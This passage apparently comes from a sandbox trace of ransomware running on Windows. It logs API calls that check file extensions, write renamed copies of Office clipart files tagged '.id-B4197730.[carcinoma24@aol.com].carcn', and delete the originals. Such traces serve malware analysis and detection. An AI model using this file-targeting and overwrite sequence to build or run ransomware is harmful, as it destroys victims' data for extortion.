(lpString=".doc") returned 4 [0312.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.572] lstrlenW (lpString=".docx") returned 5 [0312.572] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0312.572] lstrlenW (lpString=".pdf") returned 4 [0312.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.572] lstrlenW (lpString=".xls") returned 4 [0312.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.572] lstrlenW (lpString=".xlsx") returned 5 [0312.572] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0312.572] lstrlenW (lpString=".ppt") returned 4 [0312.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0312.572] lstrlenW (lpString=".zip") returned 4 [0312.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.572] lstrlenW (lpString=".rar") returned 4 [0312.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.572] lstrlenW (lpString=".bz2") returned 4 [0312.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.572] lstrlenW (lpString=".7z") returned 3 [0312.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0312.572] lstrlenW (lpString=".dbf") returned 4 [0312.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0312.572] lstrlenW (lpString=".1cd") returned 4 [0312.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0312.572] lstrlenW (lpString=".jpg") returned 4 [0312.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.579] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.579] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0312.582] GetLastError () returned 0x0 [0312.582] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1b6c, lpOverlapped=0x0) returned 1 [0312.586] WriteFile (in: hFile=0x38c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0312.587] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.587] WriteFile (in: hFile=0x38c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.587] SetEndOfFile (hFile=0x38c) returned 1 [0312.588] CloseHandle (hObject=0x38c) returned 1 [0312.588] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.588] SetEndOfFile (hFile=0x374) returned 1 [0312.589] CloseHandle (hObject=0x374) returned 1 [0312.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0312.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0312.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0312.590] lstrlenW (lpString=".doc") returned 4 [0312.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.590] lstrlenW (lpString=".docx") returned 5 [0312.590] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0312.590] lstrlenW (lpString=".pdf") returned 4 [0312.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.590] lstrlenW (lpString=".xls") returned 4 [0312.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.590] lstrlenW (lpString=".xlsx") returned 5 [0312.590] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0312.590] lstrlenW (lpString=".ppt") returned 4 [0312.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0312.590] lstrlenW (lpString=".zip") returned 4 [0312.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.590] lstrlenW (lpString=".rar") returned 4 [0312.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.590] lstrlenW (lpString=".bz2") returned 4 [0312.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.590] lstrlenW (lpString=".7z") returned 3 [0312.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0312.591] lstrlenW (lpString=".dbf") returned 4 [0312.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0312.591] lstrlenW (lpString=".1cd") returned 4 [0312.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0312.591] lstrlenW (lpString=".jpg") returned 4 [0312.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.600] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.600] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.603] GetLastError () returned 0x0 [0312.603] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x3a28, lpOverlapped=0x0) returned 1 [0312.607] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3a30, lpOverlapped=0x0) returned 1 [0312.608] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.608] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.608] SetEndOfFile (hFile=0x370) returned 1 [0312.611] CloseHandle (hObject=0x370) returned 1 [0312.613] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.614] SetEndOfFile (hFile=0x324) returned 1 [0312.619] CloseHandle (hObject=0x324) returned 1 [0312.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0312.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0312.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0312.623] lstrlenW (lpString=".doc") returned 4 [0312.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.623] lstrlenW (lpString=".docx") returned 5 [0312.623] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0312.623] lstrlenW (lpString=".pdf") returned 4 [0312.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.623] lstrlenW (lpString=".xls") returned 4 [0312.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.623] lstrlenW (lpString=".xlsx") returned 5 [0312.623] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0312.623] lstrlenW (lpString=".ppt") returned 4 [0312.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0312.623] lstrlenW (lpString=".zip") returned 4 [0312.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.623] lstrlenW (lpString=".rar") returned 4 [0312.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.623] lstrlenW (lpString=".bz2") returned 4 [0312.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.623] lstrlenW (lpString=".7z") returned 3 [0312.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0312.623] lstrlenW (lpString=".dbf") returned 4 [0312.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0312.623] lstrlenW (lpString=".1cd") returned 4 [0312.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0312.624] lstrlenW (lpString=".jpg") returned 4 [0312.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.625] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.625] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0312.627] GetLastError () returned 0x0 [0312.627] ReadFile (in: hFile=0x370, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x794, lpOverlapped=0x0) returned 1 [0312.631] WriteFile (in: hFile=0x324, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x7a0, lpOverlapped=0x0) returned 1 [0312.632] ReadFile (in: hFile=0x370, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.633] WriteFile (in: hFile=0x324, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.633] SetEndOfFile (hFile=0x324) returned 1 [0312.639] CloseHandle (hObject=0x324) returned 1 [0312.640] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.640] SetEndOfFile (hFile=0x370) returned 1 [0312.641] CloseHandle (hObject=0x370) returned 1 [0312.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 1 [0312.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0312.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0312.647] lstrlenW (lpString=".doc") returned 4 [0312.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.647] lstrlenW (lpString=".docx") returned 5 [0312.647] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0312.647] lstrlenW (lpString=".pdf") returned 4 [0312.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.647] lstrlenW (lpString=".xls") returned 4 [0312.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.647] lstrlenW (lpString=".xlsx") returned 5 [0312.647] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0312.647] lstrlenW (lpString=".ppt") returned 4 [0312.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0312.647] lstrlenW (lpString=".zip") returned 4 [0312.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.647] lstrlenW (lpString=".rar") returned 4 [0312.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.647] lstrlenW (lpString=".bz2") returned 4 [0312.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.647] lstrlenW (lpString=".7z") returned 3 [0312.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0312.647] lstrlenW (lpString=".dbf") returned 4 [0312.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0312.648] lstrlenW (lpString=".1cd") returned 4 [0312.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0312.648] lstrlenW (lpString=".jpg") returned 4 [0312.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.658] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.658] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.661] GetLastError () returned 0x0 [0312.661] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1190, lpOverlapped=0x0) returned 1 [0312.670] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x11a0, lpOverlapped=0x0) returned 1 [0312.671] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.671] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.671] SetEndOfFile (hFile=0x380) returned 1 [0312.672] CloseHandle (hObject=0x380) returned 1 [0312.672] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.672] SetEndOfFile (hFile=0x324) returned 1 [0312.673] CloseHandle (hObject=0x324) returned 1 [0312.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 1 [0312.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0312.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0312.677] lstrlenW (lpString=".doc") returned 4 [0312.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.678] lstrlenW (lpString=".docx") returned 5 [0312.678] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0312.678] lstrlenW (lpString=".pdf") returned 4 [0312.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.678] lstrlenW (lpString=".xls") returned 4 [0312.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.678] lstrlenW (lpString=".xlsx") returned 5 [0312.678] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0312.678] lstrlenW (lpString=".ppt") returned 4 [0312.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0312.678] lstrlenW (lpString=".zip") returned 4 [0312.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.678] lstrlenW (lpString=".rar") returned 4 [0312.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.678] lstrlenW (lpString=".bz2") returned 4 [0312.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.678] lstrlenW (lpString=".7z") returned 3 [0312.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0312.678] lstrlenW (lpString=".dbf") returned 4 [0312.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0312.678] lstrlenW (lpString=".1cd") returned 4 [0312.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0312.678] lstrlenW (lpString=".jpg") returned 4 [0312.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.680] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.680] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0312.685] GetLastError () returned 0x0 [0312.685] ReadFile (in: hFile=0x380, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1ea8, lpOverlapped=0x0) returned 1 [0312.700] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1eb0, lpOverlapped=0x0) returned 1 [0312.701] ReadFile (in: hFile=0x380, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.701] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.701] SetEndOfFile (hFile=0x388) returned 1 [0312.702] CloseHandle (hObject=0x388) returned 1 [0312.702] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.702] SetEndOfFile (hFile=0x380) returned 1 [0312.702] CloseHandle (hObject=0x380) returned 1 [0312.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 1 [0312.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0312.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0312.705] lstrlenW (lpString=".doc") returned 4 [0312.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.705] lstrlenW (lpString=".docx") returned 5 [0312.705] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0312.705] lstrlenW (lpString=".pdf") returned 4 [0312.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.705] lstrlenW (lpString=".xls") returned 4 [0312.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.705] lstrlenW (lpString=".xlsx") returned 5 [0312.705] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0312.705] lstrlenW (lpString=".ppt") returned 4 [0312.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0312.705] lstrlenW (lpString=".zip") returned 4 [0312.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.705] lstrlenW (lpString=".rar") returned 4 [0312.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.706] lstrlenW (lpString=".bz2") returned 4 [0312.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.706] lstrlenW (lpString=".7z") returned 3 [0312.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0312.706] lstrlenW (lpString=".dbf") returned 4 [0312.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0312.706] lstrlenW (lpString=".1cd") returned 4 [0312.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0312.706] lstrlenW (lpString=".jpg") returned 4 [0312.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.713] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.713] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, 